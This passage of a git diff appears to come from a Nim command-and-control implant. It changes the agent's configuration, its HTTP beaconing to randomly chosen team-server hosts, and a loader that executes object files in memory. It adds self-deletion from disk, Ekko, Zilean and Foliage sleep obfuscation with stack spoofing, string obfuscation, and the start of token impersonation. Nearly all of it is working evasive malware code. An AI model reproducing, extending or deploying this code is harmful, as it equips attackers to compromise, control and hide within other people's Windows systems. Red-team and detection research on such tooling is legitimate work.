UncheckedArray[IMAGE_SECTION_HEADER]](objCtx.sections) secMap = cast[ptr UncheckedArray[SECTION_MAP]](objCtx.secMap) - echo "[*] Copying over sections." + print "[*] Copying over sections." for i in 0 ..< int(objCtx.union.header.NumberOfSections): secSize = sections[i].SizeOfRawData secMap[i].size = secSize @@ -388,7 +388,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction: # Copy over section data copyMem(secBase, cast[PVOID](objCtx.union.base + cast[int](sections[i].PointerToRawData)), secSize) - echo fmt" [>] {$(addr sections[i].Name)} @ 0x{secBase.repr} ({secSize} bytes))" + print fmt" [>] {$(addr sections[i].Name)} @ 0x{secBase.repr} ({secSize} bytes))" # Get the next page entry secBase = cast[PVOID](PAGE_ALIGN(cast[uint](secBase) + uint(secSize))) @@ -396,17 +396,17 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction: # The last page of the memory is the symbol/function map objCtx.symMap = cast[ptr PVOID](secBase) - echo "[*] Processing sections and performing relocations." + print "[*] Processing sections and performing relocations." if not objectProcessSection(addr objCtx): RtlSecureZeroMemory(addr objCtx, sizeof(objCtx)) - raise newException(CatchableError, "Failed to process sections.") + raise newException(CatchableError, protect("Failed to process sections.")) # Executing the object file - echo "[*] Executing." + print "[*] Executing." if not objectExecute(addr objCtx, entryFunction, args): RtlSecureZeroMemory(addr objCtx, sizeof(objCtx)) raise newException(CatchableError, fmt"Failed to execute function {$entryFunction}.") - echo "[+] Object file executed successfully." + print "[+] Object file executed successfully." RtlSecureZeroMemory(addr objCtx, sizeof(objCtx)) @@ -449,7 +449,7 @@ proc generateCoffArguments*(args: seq[TaskArg]): seq[byte] = prefix = Bytes.toString(arg.data)[0..3] value = Bytes.toString(arg.data)[4..^1] - # Check the first two characters for a type specification + # Check the prefix for a type specification case prefix: of protect("[i]:"): # Handle argument as integer @@ -465,8 +465,7 @@ proc generateCoffArguments*(args: seq[TaskArg]): seq[byte] = # Handle argument as wide string # Add terminating NULL byte to the end of string arguments let wStrData = cast[seq[byte]](+$value) # +$ converts a string to a wstring - packer.add(uint32(wStrData.len())) - packer.addData(wStrData) + packer.addDataWithLengthPrefix(wStrData) else: # In case no prefix is specified, handle the argument as a regular string @@ -476,8 +475,7 @@ proc generateCoffArguments*(args: seq[TaskArg]): seq[byte] = # Handle argument as regular string # Add terminating NULL byte to the end of string arguments let data = arg.data & @[uint8(0)] - packer.add(uint32(data.len())) - packer.addData(data) + packer.addDataWithLengthPrefix(data) else: # Argument is not passed as a string, but instead directly as a int or short diff --git a/src/agent/core/context.nim b/src/agent/core/context.nim index c2d7e04..ca6d969 100644 --- a/src/agent/core/context.nim +++ b/src/agent/core/context.nim @@ -1,4 +1,5 @@ -import parsetoml, base64, system +import parsetoml, system +import ../utils/io import ../../common/[types, utils, crypto, serialize] const CONFIGURATION {.strdefine.}: string = "" @@ -27,19 +28,30 @@ proc deserializeConfiguration(config: string): AgentCtx = var ctx = AgentCtx( agentId: generateUUID(), listenerId: Uuid.toString(unpacker.getUint32()), - ip: unpacker.getDataWithLengthPrefix(), - port: int(unpacker.getUint32()), - sleep: int(unpacker.getUint32()), - sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()), - spoofStack: cast[bool](unpacker.getUint8()), + hosts: unpacker.getDataWithLengthPrefix(), + sleepSettings: SleepSettings( + sleepDelay: unpacker.getUint32(), + jitter: unpacker.getUint32(), + sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()), + spoofStack: cast[bool](unpacker.getUint8()), + workingHours: WorkingHours( + enabled: cast[bool](unpacker.getUint8()), + startHour: cast[int32](unpacker.getUint32()), + startMinute: cast[int32](unpacker.getUint32()), + endHour: cast[int32](unpacker.getUint32()), + endMinute: cast[int32](unpacker.getUint32()) + ) + ), + killDate: cast[int64](unpacker.getUint64()), sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)), agentPublicKey: agentKeyPair.publicKey, - profile: parseString(unpacker.getDataWithLengthPrefix()) + profile: parseString(unpacker.getDataWithLengthPrefix()), + registered: false ) wipeKey(agentKeyPair.privateKey) - echo protect("[+] Profile configuration deserialized.") + print "[+] Profile configuration deserialized." return ctx proc init*(T: type AgentCtx): AgentCtx = @@ -51,7 +63,7 @@ proc init*(T: type AgentCtx): AgentCtx = return deserializeConfiguration(CONFIGURATION) except CatchableError as err: - echo "[-] " & err.msg + print "[-] " & err.msg return nil diff --git a/src/agent/core/exit.nim b/src/agent/core/exit.nim new file mode 100644 index 0000000..2164e43 --- /dev/null +++ b/src/agent/core/exit.nim @@ -0,0 +1,83 @@ +import winim/lean +import strutils, strformat, random +import ../utils/io +import ../../common/[types, utils] + +type + RtlExitUserThread = proc(exitStatus: NTSTATUS): VOID {.stdcall.} + RtlExitUserProcess = proc(exitStatus: NTSTATUS): VOID {.stdcall.} + + FILE_RENAME_INFO2* = object + Flags*: DWORD + RootDirectory*: HANDLE + FileNameLength*: DWORD + FileName*: array[MAX_PATH, WCHAR] + + FILE_DISPOSITION_INFO_EX* = object + Flags*: DWORD + +const + RAND_MAX = 0x7FFF + FILE_DISPOSITION_FLAG_DELETE = 0x00000001 # https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/ns-ntddk-_file_disposition_information_ex + FILE_DISPOSITION_POSIX_SEMANTICS = 0x00000002 + fileDispositionInfoEx* = 21 # https://learn.microsoft.com/en-us/windows/win32/api/minwinbase/ne-minwinbase-file_info_by_handle_class + +#[ + Delete own executable image from disk. + - https://maldevacademy.com/modules/72 +]# +proc deleteSelfFromDisk*() = + let newStream = +$(fmt":{uint(rand(RAND_MAX)):x}{uint(rand(RAND_MAX)):x}") # Convert to wString + var + szFileName: array[MAX_PATH * 2, WCHAR] + fileRenameInfo2: FILE_RENAME_INFO2 + fileDisposalInfoEx: FILE_DISPOSITION_INFO_EX + hLocalImgFile: HANDLE = INVALID_HANDLE_VALUE + + # Initialize fileRenameInfo + fileRenameInfo2.FileNameLength = cast[DWORD](newStream.len() * sizeof(WCHAR)) + fileRenameInfo2.RootDirectory = 0 + fileRenameInfo2.Flags = 0 + + for i in 0 ..< newStream.len(): + fileRenameInfo2.FileName[i] = newStream[i] + + # Get full file name of the executable + if GetModuleFileNameW(0, cast[LPWSTR](addr szFileName[0]), MAX_PATH * 2) == 0: + raise newException(CatchableError, GetLastError().getError()) + + hLocalImgFile = CreateFileW(cast[LPCWSTR](addr szFileName[0]), DELETE or SYNCHRONIZE, FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, 0) + if hLocalImgFile == INVALID_HANDLE_VALUE: + raise newException(CatchableError, GetLastError().getError()) + + if SetFileInformationByHandle(hLocalImgFile, fileRenameInfo, addr fileRenameInfo2, cast[DWORD](sizeof(FILE_RENAME_INFO2))) == FALSE: + raise newException(CatchableError, GetLastError().getError()) + + CloseHandle(hLocalImgFile) + + hLocalImgFile = CreateFileW(cast[LPCWSTR](addr szFileName[0]), DELETE or SYNCHRONIZE, FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, 0) + if hLocalImgFile == INVALID_HANDLE_VALUE: + raise newException(CatchableError, GetLastError().getError()) + + fileDisposalInfoEx.Flags = FILE_DISPOSITION_FLAG_DELETE or FILE_DISPOSITION_POSIX_SEMANTICS + + if SetFileInformationByHandle(hLocalImgFile, fileDispositionInfoEx, addr fileDisposalInfoEx, cast[DWORD](sizeof(FILE_DISPOSITION_INFO_EX))) == FALSE: + raise newException(CatchableError, GetLastError().getError()) + + CloseHandle(hLocalImgFile) + +proc exit*(exitType: ExitType = EXIT_PROCESS, selfDelete: bool = false) = + let hNtdll = GetModuleHandleA(protect("ntdll")) + + if selfDelete: deleteSelfFromDisk() + + case exitType: + of ExitType.EXIT_PROCESS: + let pRtlExitUserProcess = cast[RtlExitUserProcess](GetProcAddress(hNtdll, protect("RtlExitUserProcess"))) + pRtlExitUserProcess(STATUS_SUCCESS) + of ExitType.EXIT_THREAD: + let pRtlExitUserThread = cast[RtlExitUserThread](GetProcAddress(hNtdll, protect("RtlExitUserThread"))) + pRtlExitUserThread(STATUS_SUCCESS) + else: discard + + diff --git a/src/agent/core/http.nim b/src/agent/core/http.nim index aff83c1..03216ad 100644 --- a/src/agent/core/http.nim +++ b/src/agent/core/http.nim @@ -1,17 +1,17 @@ -import httpclient, json, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random - +import httpclient, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random +import ../utils/io import ../../common/[types, utils, profile] proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = - let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("agent.user-agent"))) + let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-get.user-agent"))) var heartbeatString: string # Apply data transformation to the heartbeat bytes - case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = "none") - of "base64": + case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = protect("none")) + of protect("base64"): heartbeatString = encode(heartbeat, safe = ctx.profile.getBool(protect("http-get.agent.heartbeat.encoding.url-safe"))).replace("=", "") - of "none": + of protect("none"): heartbeatString = Bytes.toString(heartbeat) # Define request headers, as defined in profile @@ -30,14 +30,14 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = # Add heartbeat packet to the request case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")): - of "header": + of protect("header"): client.headers.add(ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name")), payload) - of "parameter": + of protect("parameter"): let param = ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name")) endpoint &= fmt"{param}={payload}&" - of "uri": + of protect("uri"): discard - of "body": + of protect("body"): discard else: discard @@ -48,10 +48,18 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = try: # Retrieve binary task data from listener and convert it to seq[bytes] for deserialization - let responseBody = waitFor client.getContent(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint[0..^2]}") - + # Select random callback host + let hosts = ctx.hosts.split(";") + let host = hosts[rand(hosts.len() - 1)] + let response = waitFor client.get(fmt"http://{host}/{endpoint[0..^2]}") + + # Check the HTTP status code to determine whether the agent needs to re-register to the team server + if response.code == Http404: + ctx.registered = false + # Return if no tasks are queued - if responseBody.len <= 0: + let responseBody = waitFor response.body + if responseBody.len() <= 0: return "" # In case that tasks are found, apply data transformation to server's response body to get thr raw data @@ -60,15 +68,15 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = suffix = ctx.profile.getString(protect("http-get.server.output.suffix")) encResponse = responseBody[len(prefix) ..^ len(suffix) + 1] - case ctx.profile.getString(protect("http-get.server.output.encoding.type"), default = "none"): - of "base64": + case ctx.profile.getString(protect("http-get.server.output.encoding.type"), default = protect("none")): + of protect("base64"): return decode(encResponse) - of "none": + of protect("none"): return encResponse except CatchableError as err: # When the listener is not reachable, don't kill the application, but check in at the next time - echo "[-] " & err.msg + print "[-] ", err.msg finally: client.close() @@ -77,7 +85,7 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} = - let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("agent.user-agent"))) + let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-post.user-agent"))) # Define request headers, as defined in profile for header, value in ctx.profile.getTable(protect("http-post.agent.headers")): @@ -94,10 +102,13 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} = try: # Send post request to team server - discard waitFor client.request(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint}", requestMethod, body) + # Select random callback host + let hosts = ctx.hosts.split(";") + let host = hosts[rand(hosts.len() - 1)] + discard waitFor client.request(fmt"http://{host}/{endpoint}", requestMethod, body) except CatchableError as err: - echo "[-] " & err.msg + print "[-] ", err.msg return false finally: diff --git a/src/agent/core/sleepmask.nim b/src/agent/core/sleepmask.nim index c3bfc08..2dfd7c3 100644 --- a/src/agent/core/sleepmask.nim +++ b/src/agent/core/sleepmask.nim @@ -1,15 +1,18 @@ import winim/lean import winim/inc/tlhelp32 -import os, system, strformat - -import ./cfg +import os, system, random, strformat +import ../utils/[cfg, io] import ../../common/[types, utils, crypto] -# Different sleep obfuscation techniques, reimplemented in Nim (Ekko, Zilean, Foliage) -# The code in this file was taken from the new MalDev Academy modules and translated from C to Nim -# https://maldevacademy.com/new/modules/54 -# https://maldevacademy.com/new/modules/55 -# https://maldevacademy.com/new/modules/56 +#[ + Different sleep obfuscation techniques, reimplemented in Nim (Ekko, Zilean, Foliage) + The code in this file was taken from the new MalDev Academy modules and translated from C to Nim + + References: + - https://maldevacademy.com/new/modules/54 + - https://maldevacademy.com/new/modules/55 + - https://maldevacademy.com/new/modules/56 +]# type USTRING* {.bycopy.} = object @@ -95,11 +98,11 @@ proc GetRandomThreadCtx(): CONTEXT = # Create snapshot of all available threads hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) if hSnapshot == INVALID_HANDLE_VALUE: - raise newException(CatchableError, $GetLastError()) + raise newException(CatchableError, GetLastError().getError()) defer: CloseHandle(hSnapshot) if Thread32First(hSnapshot, addr thd32Entry) == FALSE: - raise newException(CatchableError, $GetLastError()) + raise newException(CatchableError, GetLastError().getError()) while Thread32Next(hSnapshot, addr thd32Entry) != 0: # Check if the thread belongs to the current process but is not the current thread @@ -115,10 +118,10 @@ proc GetRandomThreadCtx(): CONTEXT = if GetThreadContext(hThread, addr ctx) == 0: continue - echo fmt"[*] Using thread {thd32Entry.th32ThreadID} for stack spoofing." + print fmt"[*] Using thread {thd32Entry.th32ThreadID} for stack spoofing." return ctx - echo protect("[-] No suitable thread for stack duplication found.") + print "[-] No suitable thread for stack duplication found." return ctx #[ @@ -144,41 +147,41 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b # Create timer queue status = apis.RtlCreateTimerQueue(addr queue) if status != STATUS_SUCCESS: - raise newException(CatchableError, "RtlCreateTimerQueue " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) defer: discard apis.RtlDeleteTimerQueue(queue) # Create events status = apis.NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) defer: CloseHandle(hEventTimer) status = apis.NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) defer: CloseHandle(hEventStart) status = apis.NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) defer: CloseHandle(hEventEnd) # Retrieve the initial thread context delay += 100 status = apis.RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD) if status != STATUS_SUCCESS: - raise newException(CatchableError, "RtlCreateTimer/RtlCaptureContext " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) # Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming delay += 100 status = apis.RtlCreateTimer(queue, addr timer, SetEvent, cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD) if status != STATUS_SUCCESS: - raise newException(CatchableError, "RtlCreateTimer/SetEvent " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) # Wait for events to finish before continuing status = NtWaitForSingleObject(hEventTimer, FALSE, NULL) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtWaitForSingleObject " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) if spoofStack: # Stack duplication @@ -192,7 +195,7 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b if spoofStack: status = apis.NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtDuplicateObject " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) defer: CloseHandle(hThread) # Preparing the ROP chain @@ -278,19 +281,19 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b status = apis.RtlCreateTimer(queue, addr timer, apis.NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD) if status != STATUS_SUCCESS: - raise newException(CatchableError, "RtlCreateTimer/NtContinue " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) - echo protect("[*] Sleep obfuscation start.") + print "[*] Sleep obfuscation start." status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) - echo protect("[*] Sleep obfuscation end.") + print "[*] Sleep obfuscation end." except CatchableError as err: sleep(sleepDelay) - echo protect("[-] "), err.msg + print "[-] ", err.msg #[ @@ -316,38 +319,38 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var # Create events status = apis.NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) defer: CloseHandle(hEventTimer) status = apis.NtCreateEvent(addr hEventWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) defer: CloseHandle(hEventWait) status = apis.NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) defer: CloseHandle(hEventStart) status = apis.NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) defer: CloseHandle(hEventEnd) delay += 100 status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](RtlCaptureContext), addr ctxInit, delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD) if status != STATUS_SUCCESS: - raise newException(CatchableError, "RtlRegisterWait/RtlCaptureContext " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) delay += 100 status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](SetEvent), cast[PVOID](hEventTimer), delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD) if status != STATUS_SUCCESS: - raise newException(CatchableError, "RtlRegisterWait/SetEvent " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) # Wait for events to finish before continuing status = NtWaitForSingleObject(hEventTimer, FALSE, NULL) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtWaitForSingleObject " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) if spoofStack: # Stack duplication @@ -361,7 +364,7 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var if spoofStack: status = apis.NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtDuplicateObject " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) defer: CloseHandle(hThread) # Preparing the ROP chain @@ -446,19 +449,19 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var delay += 100 status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](apis.NtContinue), addr ctx[i], delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD) if status != STATUS_SUCCESS: - raise newException(CatchableError, "RtlRegisterWait/NtContinue " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) - echo protect("[*] Sleep obfuscation start.") + print "[*] Sleep obfuscation start." status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) - echo protect("[*] Sleep obfuscation end.") + print "[*] Sleep obfuscation end." except CatchableError as err: sleep(sleepDelay) - echo protect("[-] "), err.msg + print "[-] ", err.msg #[ @@ -477,20 +480,20 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) = # Start synchronization event status = apis.NtCreateEvent(addr hEventSync, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) defer: CloseHandle(hEventSync) # Start suspended thread where the APC calls will be queued and executed status = apis.NtCreateThreadEx(addr hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), NULL, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtCreateThreadEx " & $status.toHex()) - echo fmt"[*] [{hThread.repr}] Thread created " + raise newException(CatchableError, status.getNtError()) + print fmt"[*] [{hThread.repr}] Thread created " defer: CloseHandle(hThread) ctxInit.ContextFlags = CONTEXT_FULL status = apis.NtGetContextThread(hThread, addr ctxInit) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtGetContextThread " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) # NtTestAlert is used to check if any user-mode APCs are pending for the calling thread and, if so, execute them. # NtTestAlert will trigger all queued APC calls until the last element in the obfuscation chain, where ExitThread is called, terminating the thread. @@ -545,42 +548,87 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) = inc gadget # ctx[6] contains the final call, which exits the created thread after all APC calls have been executed. - ctx[gadget].Rip = cast[DWORD64](ExitThread) + ctx[gadget].Rip = cast[DWORD64](winbase.ExitThread) ctx[gadget].Rcx = cast[DWORD64](0) # Queueing the chain for i in 0 .. gadget: status = apis.NtQueueApcThread(hThread, cast[PPS_APC_ROUTINE](apis.NtContinue), addr ctx[i], cast[PVOID](FALSE), NULL) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtQueueApcThread " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) # Start sleep obfuscation status = apis.NtAlertResumeThread(hThread, NULL) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtAlertResumeThread " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) - echo protect("[*] Sleep obfuscation start.") + print "[*] Sleep obfuscation start." status = apis.NtSignalAndWaitForSingleObject(hEventSync, hThread, TRUE, NULL) if status != STATUS_SUCCESS: - raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex()) + raise newException(CatchableError, status.getNtError()) - echo protect("[*] Sleep obfuscation end.") + print "[*] Sleep obfuscation end." except CatchableError as err: sleep(sleepDelay) - echo protect("[-] "), err.msg + print "[-] ", err.msg + + +# Function to determine whether the agent currently operates within the configured working hours +proc withinWorkingHours(workingHours: WorkingHours): bool = + var time: SYSTEMTIME + GetLocalTime(addr time) + + if int(time.wHour) < workingHours.startHour or int(time.wHour) > workingHours.endHour: + return false + + if int(time.wHour) == workingHours.startHour and int(time.wMinute) < workingHours.startMinute: + return false + + if int(time.wHour) == workingHours.endHour and int(time.wMinute) > workingHours.endMinute: + return false + + return true # Sleep obfuscation implemented in various techniques -proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NONE, spoofStack: var bool = true) = +proc sleepObfuscate*(sleepSettings: SleepSettings) = - if sleepDelay == 0: + if sleepSettings.sleepDelay == 0: return - + # Initialize required API functions let apis = initApis() - echo fmt"[*] Sleepmask settings: Technique: {$technique}, Delay: {$sleepDelay}ms, Stack spoofing: {$spoofStack}" + # Calculate actual sleep delay with jitter + let minDelay = float(sleepSettings.sleepDelay) - (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f)) + let maxDelay = float(sleepSettings.sleepDelay) + (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f)) + + var delay = int(rand(minDelay .. maxDelay) * 1000) + + # Working hours + # https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Obf.c#L650 + # If the local time is outside of the agent's working hours, we calculate the required sleep delay until the start of the next work day. + if sleepSettings.workingHours.enabled and not withinWorkingHours(sleepSettings.workingHours): + print "[*] Agent is outside of working hours." + delay = 0 + + # Get current time + var time: SYSTEMTIME + GetLocalTime(addr time) + + let minutesSinceMidnight = int(time.wHour) * 60 + int(time.wMinute) + let minutesUntilWorkday = sleepSettings.workingHours.startHour * 60 + sleepSettings.workingHours.startMinute + + if minutesSinceMidnight < minutesUntilWorkday: + # We are on the same day as the start of the work day: calculate the difference between the two timestamps + delay = int((minutesUntilWorkday - minutesSinceMidnight) * 60 - int(time.wSecond)) * 1000 + + else: + # Calculate minutes until midnight and add the minutes until the start of the workday + delay = int(((24 * 60 - minutesSinceMidnight) + minutesUntilWorkday) * 60 - int(time.wSecond)) * 1000 + + print fmt"[*] Sleepmask settings: Technique: {$sleepSettings.sleepTechnique}, Delay: {$delay}ms, Stack spoofing: {$sleepSettings.spoofStack}" var img: USTRING = USTRING(Length: 0) var key: USTRING = USTRING(Length: 0) @@ -596,16 +644,16 @@ proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NON # Generate random encryption key var keyBuffer: string = Bytes.toString(generateBytes(Key16)) - key.Buffer = keyBuffer.addr + key.Buffer = addr keyBuffer key.Length = cast[DWORD](keyBuffer.len()) # Execute sleep obfuscation technique - case technique: + case sleepSettings.sleepTechnique: of EKKO: - sleepEkko(apis, key, img, sleepDelay, spoofStack) + sleepEkko(apis, key, img, delay, sleepSettings.spoofStack) of ZILEAN: - sleepZilean(apis, key, img, sleepDelay, spoofStack) + sleepZilean(apis, key, img, delay, sleepSettings.spoofStack) of FOLIAGE: - sleepFoliage(apis, key, img, sleepDelay) + sleepFoliage(apis, key, img, delay) of NONE: - sleep(sleepDelay) + sleep(delay) diff --git a/src/agent/core/token.nim b/src/agent/core/token.nim new file mode 100644 index 0000000..5b9844a --- /dev/null +++ b/src/agent/core/token.nim @@ -0,0 +1,380 @@ +import winim/lean +import strformat +import ../utils/io +import ../../common/[types, utils] + +#[ + Token impersonation & manipulation + + Resources: + - https://maldevacademy.com/new/modules/57 + - https://www.nccgroup.com/research-blog/demystifying-cobalt-strike-s-make_token-command/ + - https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Token.c + - https://github.com/itaymigdal/Nimbo-C2/blob/main/Nimbo-C2/agent/windows/utils/token.nim + - Windows System Programming Security on INE (Pavel Yosifovich) +]# + +# APIs +type + NtQueryInformationToken = proc(hToken: HANDLE, tokenInformationClass: TOKEN_INFORMATION_CLASS, tokenInformation: PVOID, tokenInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.} + NtOpenThreadToken = proc(threadHandle: HANDLE, desiredAccess: ACCESS_MASK, openAsSelf: BOOLEAN, tokenHandle: PHANDLE): NTSTATUS {.stdcall.} + NtOpenProcessToken = proc(processHandle: HANDLE, desiredAccess: ACCESS_MASK, tokenHandle: PHANDLE): NTSTATUS {.stdcall.} + ConvertSidToStringSidA = proc(sid: PSID, stringSid: ptr LPSTR): NTSTATUS {.stdcall.} + NtSetInformationThread = proc(hThread: HANDLE, threadInformationClass: THREADINFOCLASS, threadInformation: PVOID, threadInformationLength: ULONG): NTSTATUS {.stdcall.} + NtDuplicateToken = proc(existingTokenHandle: HANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, effectiveOnly: BOOLEAN, tokenType: TOKEN_TYPE, newTokenHandle: PHANDLE): NTSTATUS {.stdcall.} + NtAdjustPrivilegesToken = proc(hToken: HANDLE, disableAllPrivileges: BOOLEAN, newState: PTOKEN_PRIVILEGES, bufferLength: ULONG, previousState: PTOKEN_PRIVILEGES, returnLength: PULONG): NTSTATUS {.stdcall.} + NtClose = proc(handle: HANDLE): NTSTATUS {.stdcall.} + NtOpenProcess = proc(hProcess: PHANDLE, desiredAccess: ACCESS_MASK, oa: PCOBJECT_ATTRIBUTES, clientId: PCLIENT_ID): NTSTATUS {.stdcall.} + + Apis = object + NtOpenProcessToken: NtOpenProcessToken + NtOpenThreadToken: NtOpenThreadToken + NtQueryInformationToken: NtQueryInformationToken + ConvertSidToSTringSidA: ConvertSidToSTringSidA + NtSetInformationThread: NtSetInformationThread + NtDuplicateToken: NtDuplicateToken + NtClose: NtClose + NtAdjustPrivilegesToken: NtAdjustPrivilegesToken + NtOpenProcess: NtOpenProcess + +proc initApis(): Apis = + let hNtdll = GetModuleHandleA(protect("ntdll")) + + result.NtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(hNtdll, protect("NtOpenProcessToken"))) + result.NtOpenThreadToken = cast[NtOpenThreadToken](GetProcAddress(hNtdll, protect("NtOpenThreadToken"))) + result.NtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(hNtdll, 